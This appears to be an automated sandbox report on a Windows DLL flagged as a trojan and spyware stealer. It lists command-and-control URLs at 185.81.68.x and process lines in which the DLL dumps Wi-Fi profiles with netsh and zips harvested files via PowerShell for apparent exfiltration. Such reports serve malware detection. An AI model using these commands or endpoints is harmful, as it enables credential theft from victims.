Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php?wal=1tes
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836034000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.2651449629.0000016386D4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.2651449629.0000016386D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php&
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php0
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=14
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=18
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1R
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1X
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1h
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1l
Source: rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1r
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1s
Source: rundll32.exe, 00000010.00000002.2651449629.0000016386D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpL
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpU
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/ta;
Source: powershell.exe, 00000014.00000002.2639330734.0000022EC6301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso#
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C818D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2521953043.00000200AA9EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009C257000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2620798139.0000022EBDE9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C80228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009ABA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009A981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EADE31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C80228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009ABA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000C.00000002.2559808516.0000017CF3795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009A981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EADE31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAF457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000C.00000002.2452722797.0000017C818D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2521953043.00000200AA9EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009C257000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2620798139.0000022EBDE9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winDLL@32/20@0/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\_Files_\

Jump to behavior

Source: hoPazBDFG9.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Main

Source: rundll32.exe, 00000003.00000002.2618277178.00000186D65B8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020835FC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.2651449629.0000016386C98000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: hoPazBDFG9.dll

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\hoPazBDFG9.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Main
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Save
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Main
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Save
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Main	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Save	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Main	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Save	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
